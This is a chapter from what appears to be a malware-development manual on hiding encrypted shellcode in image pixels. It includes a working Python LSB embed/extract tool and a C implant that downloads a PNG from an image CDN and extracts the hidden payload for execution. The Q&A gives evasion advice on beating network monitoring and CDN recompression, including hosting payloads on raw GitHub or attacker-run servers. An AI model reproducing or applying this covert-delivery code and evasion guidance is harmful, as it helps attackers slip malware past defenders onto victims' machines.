Chapter 66

Steganography and Covert Payload Delivery

The most effective way to hide a payload isn't to encrypt it — it's to hide it inside something that looks completely normal. Steganography embeds data inside carrier files (images, audio, office documents) by modifying the carrier in ways that are imperceptible or invisible to casual inspection. For malware: embed your encrypted shellcode in the LSBs of a JPEG, serve the JPEG from an image hosting CDN, and have your implant download and decode it. Network security monitors see a request for an image from Instagram or Imgur — a completely benign-looking network event. The shellcode is extracted in-memory, never hitting disk as a recognizable malicious file.

LSB Steganography in Images

LSB (Least Significant Bit) steganography — hiding bytes in pixel data
  A JPEG pixel has three color components: R, G, B (each 0-255).
  The LEAST significant bit of each byte contributes only 1/255 to the
  perceived color — invisible to the human eye.
  
  Original pixel: R=200 (11001000) G=100 (01100100) B=50 (00110010)
  
  Hiding byte 0x41 ('A' = 01000001) in the LSBs of 8 pixel channels:
  ─────────────────────────────────────────────────────────────────────────
  Bit 7 of 0x41 = 0 → R of pixel 1: 11001000 → 11001000 (no change)
  Bit 6 of 0x41 = 1 → G of pixel 1: 01100100 → 01100101 (changed from 100 to 101)
  Bit 5 of 0x41 = 0 → B of pixel 1: 00110010 → 00110010
  Bit 4 of 0x41 = 0 → R of pixel 2: ... → unchanged
  Bit 3 of 0x41 = 0 → G of pixel 2: ... → unchanged
  Bit 2 of 0x41 = 0 → B of pixel 2: ... → unchanged
  Bit 1 of 0x41 = 0 → R of pixel 3: ... → unchanged
  Bit 0 of 0x41 = 1 → G of pixel 3: ...01100100 → ...01100101
  
  Impact per channel: 0 or 1 — perceptually indistinguishable
  Capacity: 1 bit per channel, 3 channels per pixel
  → 1000×1000 pixel image: 3,000,000 bits = 375,000 bytes payload capacity
  → a 4K image can hold ~2MB of data in LSBs
  
  JPEG caveat: JPEG is LOSSY compression — it modifies pixel values.
  LSB data embedded before JPEG compression is destroyed.
  Solution: embed in ALREADY-COMPRESSED JPEG (don't re-compress after embedding)
  OR use PNG (lossless) for reliable LSB steganography.
  
  Common implementation: embed in PNG, rename to .jpg for appearance.
#!/usr/bin/env python3
"""stego.py — LSB steganography embed/extract for PNG images

Hide encrypted payload bytes in the least significant bits of an image.
The resulting image looks identical to the original.

Usage:
    # Embed:
    python3 stego.py embed cover.png payload_enc.bin output.png
    
    # Extract (by implant at runtime):
    python3 stego.py extract stego_image.png extracted_payload.bin
"""

from PIL import Image
import sys
import struct

MAGIC = b'STEG'  # 4-byte magic header inside the LSB data
                  # helps implant verify it found the right image

def embed(cover_path: str, payload_path: str, output_path: str):
    img = Image.open(cover_path).convert('RGB')
    pixels = list(img.getdata())
    
    with open(payload_path, 'rb') as f:
        payload = f.read()
    
    # Prepend magic + length
    data = MAGIC + struct.pack('<I', len(payload)) + payload
    
    if len(data) * 8 > len(pixels) * 3:
        print(f"[-] Payload too large for cover image ({len(data)} bytes, "
              f"image can hold {(len(pixels) * 3) // 8})")
        sys.exit(1)
    
    # Convert data to bit stream
    bits = []
    for byte in data:
        for i in range(7, -1, -1):
            bits.append((byte >> i) & 1)
    
    # Embed bits in LSBs of pixel channels
    bit_idx = 0
    new_pixels = []
    for r, g, b in pixels:
        channels = [r, g, b]
        for c in range(3):
            if bit_idx < len(bits):
                # Clear LSB and set to our bit
                channels[c] = (channels[c] & 0xFE) | bits[bit_idx]
                bit_idx += 1
        new_pixels.append(tuple(channels))
    
    out_img = Image.new('RGB', img.size)
    out_img.putdata(new_pixels)
    out_img.save(output_path, 'PNG')
    print(f"[+] Embedded {len(payload)} bytes into {output_path}")
    print(f"[+] Image looks identical to {cover_path}")

def extract(stego_path: str, output_path: str):
    img = Image.open(stego_path).convert('RGB')
    pixels = list(img.getdata())
    
    # Extract all LSBs
    bits = []
    for r, g, b in pixels:
        for c in [r, g, b]:
            bits.append(c & 1)
    
    def bits_to_bytes(bit_list, count):
        result = bytearray()
        for i in range(0, count * 8, 8):
            byte = 0
            for j in range(8):
                byte = (byte << 1) | bit_list[i + j]
            result.append(byte)
        return bytes(result)
    
    # Check magic and read length
    header = bits_to_bytes(bits, 8)  # 4 magic + 4 length = 8 bytes
    if header[:4] != MAGIC:
        print("[-] Magic not found — not a steganographic image")
        sys.exit(1)
    
    payload_len = struct.unpack('<I', header[4:8])[0]
    payload = bits_to_bytes(bits[64:], payload_len)  # skip 64 bits (8 bytes header)
    
    with open(output_path, 'wb') as f:
        f.write(payload[:payload_len])
    print(f"[+] Extracted {payload_len} bytes to {output_path}")

if __name__ == "__main__":
    if sys.argv[1] == 'embed':
        embed(sys.argv[2], sys.argv[3], sys.argv[4])
    elif sys.argv[1] == 'extract':
        extract(sys.argv[2], sys.argv[3])

Implant-Side Download and Decode

/* stego_implant.c — Download PNG from CDN, extract and execute payload
   
   The PNG is hosted on a legitimate CDN (Imgur, raw.githubusercontent.com,
   a Cloudflare-backed site). Network monitors see only HTTPS requests to
   what appears to be image hosting — no suspicious C2 URLs.
   
   The actual C2 address and encryption key are inside the steganographic
   image — not embedded in the implant binary.
*/

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#pragma comment(lib, "winhttp.lib")

/* PNG LSB extraction — C implementation matching the Python stego.py extractor */
static BOOL extract_lsb_payload(const BYTE *png_data, DWORD png_len,
                                  BYTE **payload_out, DWORD *payload_len_out) {
    /*
     * PNG image decoding requires parsing IDAT chunks (compressed pixel data).
     * For a full implementation: use libpng or a minimal PNG decoder.
     * Shortcut in implants: use Windows GDI+ to decode the PNG to raw pixels.
     */
    /* Stub: full PNG decode via GDI+ would go here */
    /* For this example: assume png_data is already raw pixel bytes (RGBA) */
    
    static const BYTE MAGIC[] = { 'S', 'T', 'E', 'G' };
    
    /* Extract LSBs from pixel data (simplified — no PNG header parsing) */
    BYTE header[8] = {0};
    for (int byte_idx = 0; byte_idx < 8; byte_idx++) {
        for (int bit_idx = 0; bit_idx < 8; bit_idx++) {
            int channel_idx = byte_idx * 8 + bit_idx;
            /* Channels 0,1,2 = R,G,B of pixel 0; 3,4,5 = R,G,B of pixel 1; etc. */
            BYTE channel_val = png_data[channel_idx];
            header[byte_idx] = (header[byte_idx] << 1) | (channel_val & 1);
        }
    }
    
    if (memcmp(header, MAGIC, 4) != 0) {
        printf("[-] Stego magic not found\n");
        return FALSE;
    }
    
    DWORD payload_len = *(DWORD*)(header + 4);
    BYTE *payload = (BYTE*)VirtualAlloc(NULL, payload_len,
                                         MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!payload) return FALSE;
    
    /* Extract payload bytes from remaining LSBs */
    for (DWORD p = 0; p < payload_len; p++) {
        payload[p] = 0;
        for (int bit = 0; bit < 8; bit++) {
            int channel_idx = (8 + p) * 8 + bit;  /* skip 8-byte header */
            payload[p] = (payload[p] << 1) | (png_data[channel_idx] & 1);
        }
    }
    
    *payload_out     = payload;
    *payload_len_out = payload_len;
    return TRUE;
}

static BYTE* download_image(const wchar_t *host, const wchar_t *path, DWORD *size_out) {
    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConnect = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    
    WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                        WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);

    DWORD total = 0;
    BYTE *buf = NULL;
    DWORD avail = 0;
    while (WinHttpQueryDataAvailable(hRequest, &avail) && avail > 0) {
        buf = (BYTE*)HeapReAlloc(GetProcessHeap(), 0, buf, total + avail);
        DWORD read = 0;
        WinHttpReadData(hRequest, buf + total, avail, &read);
        total += read;
        avail = 0;
    }
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
    *size_out = total;
    return buf;
}

BOOL stego_implant_main(void) {
    printf("[+] Downloading cover image from CDN...\n");
    DWORD img_size = 0;
    BYTE *img_data = download_image(L"i.imgur.com", L"/your_cover_image.png", &img_size);
    if (!img_data) return FALSE;
    printf("[+] Downloaded %lu bytes\n", img_size);
    
    BYTE *payload = NULL;
    DWORD payload_len = 0;
    if (!extract_lsb_payload(img_data, img_size, &payload, &payload_len)) {
        HeapFree(GetProcessHeap(), 0, img_data);
        return FALSE;
    }
    HeapFree(GetProcessHeap(), 0, img_data);  /* free image buffer */
    printf("[+] Extracted %lu bytes from steganographic image\n", payload_len);
    
    /* Payload is the AES-encrypted shellcode (from Ch63).
       Decrypt and execute: */
    /* (decrypt and execute code from Ch63 goes here) */
    
    SecureZeroMemory(payload, payload_len);
    VirtualFree(payload, 0, MEM_RELEASE);
    return TRUE;
}

Questions & Answers

Can network security tools detect steganographic payloads in images?

Current commercial NSM tools generally cannot detect LSB steganography in real-time network traffic — the detection requires downloading the image, decoding it, and running statistical analysis (chi-square test, RS analysis) on the pixel LSBs to detect the non-random distribution that hidden data creates. This analysis is computationally intensive and would add unacceptable latency to web browsing. What defenders CAN detect: the image hosting source (if you use a newly registered domain for "image hosting," that's suspicious), the download pattern (implant downloads the same image file repeatedly on a schedule — anomalous for a workstation's web browsing), and anomalous pixel distribution in automated stego detection systems (more common in DFIR/forensics than inline network security). For high-value targets with custom network monitoring, steganographic channels have been detected by specialized tooling, but it's an uncommon capability in standard enterprise deployments.

What other carrier formats besides PNG images work for steganographic payload delivery?

Many: (1) Audio (WAV/MP3): embed in audio sample LSBs. WAV is lossless and reliable; MP3 loses LSB data through compression — embed in already-compressed MP3 bytes. (2) Video: each frame's pixels are carrier data, giving enormous capacity. MP4 with a 1080p video can carry hundreds of MB. (3) Office documents: XML-based formats (DOCX, XLSX) have many unused XML fields and whitespace areas where data can be hidden. The app.xml document properties can hold arbitrary string data. (4) Certificate files: X.509 certificates have extension fields that are largely opaque to monitoring tools — embed encoded payload in a custom certificate extension. (5) DNS: hide payload bytes in DNS TXT record responses (covert channel — more C2 comms than delivery). (6) Text steganography: Unicode zero-width spaces, invisible homoglyph substitution, whitespace encoding — these are weak but work for small payloads embedded in email body text or code comments.

How do you ensure the steganographic image doesn't get modified in transit (CDN compression)?

CDNs sometimes re-compress or transcode images: Cloudflare's image optimization, Imgur's automatic resize-on-upload, and many other CDN features can destroy LSB data by modifying pixel values. Mitigations: (1) Use a CDN that doesn't modify images (raw GitHub file hosting, raw.githubusercontent.com, serves files byte-for-byte identical to what was uploaded — reliable). (2) Use PNG format (CDNs are less likely to convert PNG→JPEG or compress PNG further if the PNG is already optimized). (3) Use a carrier format the CDN doesn't process (raw binary files, PDFs, zip files with embedded images). (4) Verify on upload: download the uploaded image and verify the embedded data is recoverable before deploying the implant. (5) For maximum reliability: host on infrastructure you control (a legitimate-looking web server) rather than a third-party CDN.